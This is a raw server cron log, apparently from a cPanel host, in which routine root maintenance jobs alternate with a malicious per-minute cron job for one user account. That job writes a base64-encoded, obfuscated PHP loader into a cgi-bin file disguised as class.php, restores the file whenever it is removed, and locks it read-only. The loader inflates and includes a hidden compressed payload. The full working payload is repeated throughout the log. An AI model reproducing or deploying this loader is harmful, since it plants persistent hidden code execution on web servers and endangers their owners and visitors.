Sep  6 11:37:01 server CROND[25341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:37:01 server CROND[25339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:38:01 server CROND[25714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:38:01 server CROND[25715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:38:01 server CROND[25716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:39:01 server CROND[26083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:39:01 server CROND[26084]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 11:39:01 server CROND[26085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:39:01 server CROND[26086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:40:01 server CROND[26560]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:40:01 server CROND[26563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:40:01 server CROND[26564]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:40:01 server CROND[26567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:40:01 server CROND[26565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:40:01 server CROND[26566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:40:01 server CROND[26572]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:40:01 server CROND[26568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:41:01 server CROND[27385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:41:01 server CROND[27386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:41:01 server CROND[27387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:42:01 server CROND[27767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:42:01 server CROND[27769]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 11:42:01 server CROND[27768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:42:01 server CROND[27770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:43:01 server CROND[28146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:43:01 server CROND[28147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:43:01 server CROND[28148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:44:01 server CROND[28523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:44:01 server CROND[28524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:44:01 server CROND[28525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:45:01 server CROND[29015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:45:01 server CROND[29011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:45:01 server CROND[29016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:45:01 server CROND[29013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:45:01 server CROND[29017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:45:01 server CROND[29012]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:45:01 server CROND[29014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:46:01 server CROND[29862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:46:01 server CROND[29863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:46:01 server CROND[29861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:47:01 server CROND[30244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:47:01 server CROND[30245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:47:01 server CROND[30246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:48:01 server CROND[30627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:48:01 server CROND[30628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:48:01 server CROND[30630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
